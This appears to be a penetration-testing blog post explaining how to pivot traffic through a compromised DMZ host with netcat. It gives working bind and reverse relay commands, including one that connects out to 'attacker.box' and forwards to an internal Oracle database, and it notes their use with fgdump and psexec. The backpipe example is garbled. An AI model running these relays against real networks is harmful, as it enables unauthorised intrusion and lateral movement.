Blog

Advanced Traffic Pivoting with Netcat

Background –
Many a times during a pentest, I need to access machines on an internal network that are not reachable from outside, since they lie in the private ip space. So the solution is to setup the previously 0wned box on the DMZ to pivot traffic to these internal hosts.

By now, you must be saying to yourself, that’s ancient stuff, it’s been documented for ages how port forwards can be done with netcat, there’s nothing new in that!

Well, here I would like to point out that you most likely would have used backpipes in linux to bi-directionally port forward traffic using netcat, which also involves using mknod and tee.

I’ll show you a quick example here

$ mknod backpipe p
$ nc -l -p 80 0backpipe

THAT works in *nix, but what happens when you need to perform the same thing on a windows box ???

This motivated me to find a unified set of commands that are simple to remember, less confusing, and more importantly, can be used on both linux and windows WITHOUT MAKING ANY CHANGES to the commands. (although you have to change nc to nc.exe in windows, but hey you’re smart enough to figure that out, rite ? )
I’ve named my two methods similar to the payloads of metasploit (which rocks btw… thanks hdm !), so that it becomes easier for you to grasp the concept. We’ll be making use of netcat’s -e argument, which is most commonly used to bind shells on ports.

The Scenario –

You 0wn a box on the DMZ that can access machines on the internal network. You need to interact with a server on the internal network that is running Oracle DB on port 1521.

Case 1 –

Preconditions –
1. We do not have root on the DMZ box, SSH disabled, so cannot use SSH port forwarding.

2. Inbound connections to arbitrary ports on the DMZ box are not blocked.

Bind TCP Method –

Steps –
On the DMZ Box, we run a simple listener to client relay,

nc -l -p 1521 -e “nc internal.db.srv 1521”

Result –
Now, if the attacker connects to port 1521 of the DMZ Box, his connection will infact be routed to port 1521 of the internal server running Oracle.
Hence interaction with the db is possible which was previously inaccessible.

Case 2 –
Now this is where the scenario gets a bit scary.

Preconditions –
1. Includes all of Case 1 + inbound connections to the DMZ box ARE BLOCKED.
2. DMZ box can make outbound connections only on port 80.

Reverse TCP Method –
This time we’ll use listener to listener and client to client relays in netcat to Reverse Connect to attacker’s box.

This method comprises of two parts –

a) Establish a client to client relay on the DMZ box that connects to both the attacker’s box on port 80 and the internal.db.srv box on port 1521.

b) Establish a listener to listener relay that binds to both port 80 and port 1521 on the attacker’s box.

Steps (must be done in the following order)-

1. On the attacker’s Linux Box, we run a listener to listener relay,
nc -l -p 80 -e “nc -l -p 1521”

2. While on the DMZ Box, we run a client to client relay,
nc attacker.box 80 -e “nc internal.db.srv 1521”

Analysis –
What happens in the first step is, we instruct netcat to first bind to port 80 on the attacker’s linux box and wait for a connection.Now when it receives a connection on port 80, it binds on another port, in this case 1521, and then proceeds to bidirectionally redirect all the i/o received on port 80 to port 1521.

In the 2nd step, we instruct netcat to first connect back to the attacker’s linux box on port 80, and when the connection is successful, connect to port 1521 on the internal.db.srv and then bidirectionally redirect all the i/o between the two connections.

Now, the attacker can successfully connect to port 1521 on his localhost and proceed to interact with the desired service. This is also very helpful when using tools like fgdump, psexec that require a connection to port 445 on windows clients that are on the internal network.

Note: I couldn’t get step 1 to work on a windows system. So the attacking system has to be linux.

So that concludes this post. Keep on reading folks cause this blog is going to be around a long time!!!

"eSec Forte is the authorized distributor/reseller of Metasploit Professional and Nexpose in India (Rapid7 Products), Bangladesh, Srilanka"

Also See eSecForte’s Information Security Services :-

Other Posts